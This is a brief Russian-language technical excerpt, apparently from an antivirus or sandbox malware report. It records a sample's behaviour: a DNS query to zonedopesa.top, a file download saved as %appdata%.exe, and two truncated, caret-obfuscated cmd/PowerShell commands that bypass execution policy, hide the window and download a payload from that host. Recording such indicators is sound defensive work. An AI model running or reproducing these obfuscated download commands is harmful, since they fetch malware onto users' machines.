Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "Po^Wers^hE^l^l.Ex^e -eXecu^T^IoNP^OlIcY ^bypA^Ss -^No^pr^o^File ^-WI^NdOWS^t^Yle H^I^dD^E^n^ (N^eW-^O^b^Je^Ct S^y^sTem.^N^et.wEBcL^i^ENT)^.d^own^L^oaDfI^le(^'http://www.zone...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "Po^Wers^hE^l^l.Ex^e -eXecu^T^IoNP^OlIcY ^bypA^Ss -^No^pr^o^File ^-WI^NdOWS^t^Yle H^I^dD^E^n^ (N^eW-^O^b^Je^Ct S^y^sTem.^N^et.wEBcL^i^ENT)^.d^own^L^oaDfI^le(^'http://www.zone...' (со скрытым окном)